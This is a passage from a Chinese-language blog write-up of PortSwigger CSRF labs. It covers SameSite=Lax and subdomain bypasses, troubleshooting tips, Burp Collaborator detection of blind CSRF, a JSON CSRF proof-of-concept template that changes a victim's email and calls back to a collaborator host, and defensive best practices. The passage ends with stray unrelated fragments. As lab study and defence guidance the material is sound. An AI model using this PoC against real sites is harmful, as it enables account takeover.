/delete-account设计成GET方法是极其危险的。利用子域如果Cookie的Domain属性设置为.example.com包含前导点那么它在所有子域如app.example.com、admin.example.com都是有效的。如果admin.example.com存在XSS攻击者可以利用它向app.example.com发起CSRF因为Cookie是共享的。在一个高级靶场中目标站点的会话Cookie设置了SameSiteLax但有一个关键的OAuth授权确认端点使用了GET请求并且该请求会修改用户状态。我构造了一个恶意页面其中包含一个隐藏的img标签其src指向这个授权端点。当用户访问我的页面时浏览器会加载这个图片发起一个GET请求。由于是GET请求且是跨站的SameSiteLax的Cookie被成功携带攻击生效。这个案例警示我们SameSiteLax并非万能不安全的HTTP方法GET设计会使其防御失效。6. 疑难问题排查与技巧实录在实战过程中我遇到了不少坑也总结了一些排查技巧。6.1 请求发出去了但为什么没生效这是最常见的问题。我的排查清单如下检查响应状态码在Burp Repeater或浏览器开发者工具的网络面板中确认请求是否返回了200 OK或302 Found等成功状态码。有时服务器处理了请求但业务逻辑失败会返回200但Body中有错误信息。检查响应内容仔细阅读响应Body。服务器可能会返回“Token无效”、“Referer不正确”或“参数错误”等明确信息。确认Cookie是否携带确保你的PoC页面与目标站是跨域的不同协议域名端口。在同源页面测试CSRF是无效的因为那本身就是合法请求。使用浏览器开发者工具查看发送的请求头中是否确实包含了Cookie字段。验证请求格式对比合法请求和你的攻击请求确保请求方法GET/POST、Content-Type、参数名称和格式JSON/表单完全一致。一个多余的空格或错误的编码都可能导致失败。注意用户交互状态有些操作可能需要用户处于“已登录且会话活跃”状态。如果你的PoC页面在用户登录后很久才被打开会话可能已过期。可以尝试在PoC中先通过一个隐藏的iframe访问一下目标站的主页以“唤醒”会话。6.2 高级技巧使用Burp Collaborator探测盲点对于盲CSRF即攻击没有直接回显判断请求是否成功发出有时很困难。Burp Suite Professional的Collaborator功能是神器。使用场景当你怀疑某个请求可能被服务器接收并处理但无法从响应中直接看出时例如修改后台配置、触发后台任务。操作方法在Burp中打开Collaborator获取一个临时域名如xxxxx.oastify.com。在你的CSRF PoC中将某个请求参数如邮箱地址、回调URL的值设置为Collaborator域名例如将邮箱改为hackedxxxxx.oastify.com。诱使目标或你自己在测试账户下触发这个PoC。回到Burp Collaborator界面点击“Poll now”。如果目标服务器在处理你的CSRF请求时向外发起了任何网络请求例如发送确认邮件到hackedxxxxx.oastify.com或者请求了你嵌入的Collaborator URL这里就会显示出来。通过这种方式你可以确认CSRF请求是否被成功执行即使目标应用本身没有任何视觉上的变化。在一个靶场挑战中我就是利用Collaborator发现服务器在处理CSRF请求后会向管理员邮箱发送一个通知邮件而这个邮件地址我可以通过参数控制从而间接证明了漏洞的存在。6.3 针对JSON接口的CSRF PoC构造模板对于需要发送JSON的CSRF如果绕过预检成功一个通用的PoC模板如下!DOCTYPE html html body script // 假设目标端点和JSON数据 const targetUrl https://vulnerable.com/api/user/email; const jsonData JSON.stringify({ email: attackerevil.com }); // 方法1使用fetch并尝试绕过预检需要服务器CORS配置允许 // 注意如果服务器不允许跨域此方法会被浏览器阻止 fetch(targetUrl, { method: POST, headers: { Content-Type: application/json, // 或尝试 text/plain }, body: jsonData, credentials: include // 携带Cookie }).then(response { console.log(Request sent, status:, response.status); // 可以在这里用Collaborator域名发起一个请求作为通知 fetch(https://YOUR_COLLABORATOR.oastify.com/?status response.status); }).catch(err console.error(Error:, err)); // 方法2动态创建表单仅适用于服务器能错误处理JSON的情况不推荐 // 这种方法无法设置Content-Type为application/json成功率低。 /script h1Loading.../h1 /body /html在实际测试中优先使用方法1并配合修改Content-Type和观察CORS策略。如果失败再深入分析服务器是否有可能接受非JSON格式的请求。7. 防御措施建议从攻击者视角加固你的应用经历了这一系列绕过再回过头来看防御视角会完全不同。以下是我从攻击者角度总结的、真正有效的CSRF防御最佳实践使用同步器令牌模式Synchronizer Token Pattern并确保正确实现随机且不可预测Token必须是密码学安全的随机数。绑定会话Token必须与当前用户会话唯一关联。一次性使用重要操作如修改密码、邮箱的Token应在验证后立即失效。安全存储与传递Token应放在隐藏的表单字段或自定义HTTP头如X-CSRF-Token中切勿放在URL或Cookie中作为主要验证凭据。验证逻辑严谨严格比较提交的Token与服务器存储的是否一致并确保校验逻辑在所有相关端点都被执行。实施双重提交CookieDouble Submit Cookie的升级版 传统方式有缺陷。更安全的方式是服务器在Cookie中设置一个随机值如CSRF-TOKEN同时在每个响应中如页面HTML的meta标签也输出这个值。前端JavaScript读取这个值并在发送请求时将其作为一个自定义Header如X-CSRF-Token发送。服务器比较Cookie中的值和Header中的值是否一致。因为攻击者无法读取或设置目标站的Cookie同源策略所以他无法构造正确的Header。严格设置Cookie的SameSite属性对于会话Cookie始终设置为SameSiteStrict或Lax。只有确定需要跨站共享的Cookie如第三方登录、嵌入组件才设置为SameSiteNone并且必须同时设置Secure属性仅限HTTPS。对敏感操作使用安全方法遵循RESTful规范使用POST、PUT、PATCH、DELETE等非幂等方法执行状态修改操作避免使用GET。增加用户交互对于关键操作如转账、删除账户要求用户进行二次确认输入密码、验证码等这能有效增加CSRF攻击的难度。实施深度防御检查Origin/Referer头作为辅助手段验证请求是否来自预期的源。但要知道Referer可能被屏蔽或伪造不能作为唯一依赖。使用自定义请求头如前所述结合JavaScript添加自定义头如X-Requested-With并验证其存在。这能阻挡大部分简单的跨站表单提交。定期安全审计与测试使用自动化工具如Burp Scanner和手动测试定期对应用进行CSRF漏洞扫描。特别是关注API接口和状态变更端点。完成整个PortSwigger Labs的CSRF靶场就像完成了一次从新兵到侦察兵的训练。它教会我的不仅是技巧更是一种思维模式永远不要相信来自客户端的任何数据永远要以最坏的恶意去揣测每一个请求的来历。防御CSRF本质上是一场关于“意图验证”的战争。作为开发者你的代码必须有能力回答一个问题“这个请求真的是用户本意想发的吗” 而作为安全研究者你的任务就是找出所有能让这个问题得到错误答案的方法。这场博弈永无止境。
)
)
)
)
![[C++]内存管理：串顺序存储的内存回收](http://pic.xiahunao.cn/yaotu/[C++]内存管理：串顺序存储的内存回收)
